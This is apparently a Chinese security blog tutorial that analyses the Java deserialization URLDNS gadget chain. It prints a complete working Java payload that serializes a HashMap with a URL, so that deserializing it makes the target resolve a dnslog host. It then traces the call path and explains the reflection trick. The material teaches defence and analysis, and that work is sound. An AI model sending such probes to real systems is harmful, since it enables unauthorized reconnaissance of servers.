Java安全 反序列化(1) URLDNS链原理分析
Java安全 反序列化(1) URLDNS链原理分析
文章目录
- Java安全 反序列化(1) URLDNS链原理分析
- 前置知识
- 应用
- 分析payload
- 1.新建HashMap类
- 2.新建URL类
- 3.获取URL 的 Class对象
- 4.通过反射访问URL内部变量
- 5.通过反射为URL中类赋值
- 6.调用HashMap#put方法传入key和value
- 7.再次通过反射为URL类的hashcode赋值
- 原理分析
- 1.进行序列化
- 2.跟进HashMap的readobject方法
- 3.跟进hash方法
- 4.可以跟进URL的hashCode方法
- 5.跟进handler.hashCode方法
- 细节问题
- 为什吗要给URL类hashCode赋值两次?
开始学习Java反序列化链–URLDNS
前置知识
请提前了解Java序列化和反序列化,熟悉Java反射机制
应用
1.判断是否存在反序列化的点
2.判断目标是否出网
先上payload 后进行分析
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class DnsTest {
public static void main(String[] args) throws Exception {
HashMap hashmap =new HashMap();
URL url = new URL("http://wxzzwpgygc.dgrh3.cn");
Class c = url.getClass();
Field fieldhashcode=c.getDeclaredField("hashCode");
fieldhashcode.setAccessible(true);
fieldhashcode.set(url,222); //第一次查询的时候会进行缓存,所以让它不等于-1
hashmap.put(url,2);
fieldhashcode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询
serialize(hashmap);
unserialize();
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new
FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}
public static void unserialize() throws IOException, ClassNotFoundException
{
ObjectInputStream ois = new ObjectInputStream(new
FileInputStream("ser.bin"));
ois.readObject();
ois.close();
}
}
可以触发dns请求
分析payload
1.新建HashMap类
HashMap hashmap =new HashMap();
什么是HashMap:
基于哈希表的实现的
Map
接口
我们简单理解为 URLDNS链的入口类,知道这个东西就行了
2.新建URL类
URL url = new URL("http://wxzzwpgygc.dgrh3.cn");
3.获取URL 的 Class对象
Class c = url.getClass();
用于操作反射
4.通过反射访问URL内部变量
Field fieldhashcode=c.getDeclaredField("hashCode");
fieldhashcode.setAccessible(true);
5.通过反射为URL中类赋值
fieldhashcode.set(url,222); //第一次查询的时候会进行缓存,所以让它不等于-1
6.调用HashMap#put方法传入key和value
hashmap.put(url,2);
hashmap.put(key,value)
key 为前面新建的url类
value 为任意值
7.再次通过反射为URL类的hashcode赋值
fieldhashcode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询
赋值URL类中的hashcode为-1
触发dns请求,完成访问
原理分析
1.进行序列化
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new
FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}
serialize(hashmap); //传入的obj为hashmap
那么反序列化会自动触发HashMap的readobject方法
我们可以调试分析一下
Ctrl-B跟进实现原理
2.跟进HashMap的readobject方法
在方法的最后调用了hash方法
3.跟进hash方法
进行判断只要key不为空
就 调用 key的hashCode()方法
我们传入的key是URL类的对象
所以调用的是URL#hashCode方法
4.可以跟进URL的hashCode方法
只有hashCode为-1 时
会进入hashCode = handler.hashCode(this);
this为当前对象的引用
5.跟进handler.hashCode方法
我们在新建URL类时 传入了我们的dnslog地址
getHostAddress
进行DNS解析,完成请求
细节问题
为什吗要给URL类hashCode赋值两次?
fieldhashcode.set(url,222); //第一次查询的时候会进行缓存,所以让它不等于-1
hashmap.put(url,2);
fieldhashcode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询
第一次查询的时候会进行缓存触发dns请求,将URL.hashCode设置为-1,put时触发dns请求,我们可以做个实验
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class DnsTest {
public static void main(String[] args) throws Exception {
HashMap hashmap =new HashMap();
URL url = new URL("http://rcjynkewns.dgrh3.cn");
// Class c = url.getClass();
// Field fieldhashcode=c.getDeclaredField("hashCode");
// fieldhashcode.setAccessible(true);
// fieldhashcode.set(url,222); //第一次查询的时候会进行缓存,所以让它不等于-1
hashmap.put(url,2);
// fieldhashcode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询
// serialize(hashmap);
// unserialize();
}
// public static void serialize(Object obj) throws IOException {
// ObjectOutputStream oos = new ObjectOutputStream(new
// FileOutputStream("ser.bin"));
// oos.writeObject(obj);
// oos.close();
// }
// public static void unserialize() throws IOException, ClassNotFoundException
// {
// ObjectInputStream ois = new ObjectInputStream(new
// FileInputStream("ser.bin"));
// ois.readObject();
// ois.close();
// }
//}
只留下了hashmap的put方法
可以发现照样触发
为了避免误判
我们先将URL.hashCode属性赋值为 只要不是-1的值
hashmap.put()方法后
再通过反射修改URL.hashCode属性为-1 完成请求